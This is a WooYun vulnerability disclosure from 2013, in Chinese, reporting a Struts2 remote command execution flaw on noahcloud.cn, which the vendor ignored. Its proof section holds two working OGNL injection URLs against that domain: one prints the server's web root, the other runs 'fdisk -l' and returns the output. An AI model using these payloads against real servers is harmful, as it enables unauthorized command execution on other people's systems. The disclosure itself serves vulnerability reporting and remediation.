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缺陷编号:wooyun-2013-032347

漏洞标题:诺亚云舟远程任意命令执行漏洞

相关厂商:诺亚云舟

漏洞作者: Huc-Unis

提交时间:2013-07-26 12:23

修复时间:2013-09-09 12:23

公开时间:2013-09-09 12:23

漏洞类型:命令执行

危害等级:中

自评Rank:5

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

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漏洞详情

披露状态:

2013-07-26: 积极联系厂商并且等待厂商认领中,细节不对外公开
2013-09-09: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

诺亚云舟远程任意命令执行漏洞。PR=4 Weight=1

详细说明:

诺亚云舟网存在struts远程任意命令执行漏洞

漏洞证明:

http://www.noahcloud.cn/home.action?redirect%3A%24%7B%23req%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletRequest%27%29%2C%23a%3D%23req.getSession%28%29%2C%23b%3D%23a.getServletContext%28%29%2C%23c%3D%23b.getRealPath%28%22%2F%22%29%2C%23matt%3D%23context.get%28%27com.opensymphony.xwork2.dispatcher.HttpServletResponse%27%29%2C%23matt.getWriter%28%29.println%28%23c%29%2C%23matt.getWriter%28%29.flush%28%29%2C%23matt.getWriter%28%29.close%28%29%7D

01.jpg


http://www.noahcloud.cn/home.action?redirect:${%23a%3d(new%20java.lang.ProcessBuilder(new%20java.lang.String[]{'fdisk','-l'})).start(),%23b%3d%23a.getInputStream(),%23c%3dnew%20java.io.InputStreamReader(%23b),%23d%3dnew%20java.io.BufferedReader(%23c),%23e%3dnew%20char[50000],%23d.read(%23e),%23matt%3d%23context.get('com.opensymphony.xwork2.dispatcher.HttpServletResponse'),%23matt.getWriter().println(%23e),%23matt.getWriter().flush(),%23matt.getWriter().close()}

02.jpg


修复方案:

升级Struts 2.3.15.1的版本

版权声明:转载请注明来源 Huc-Unis@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝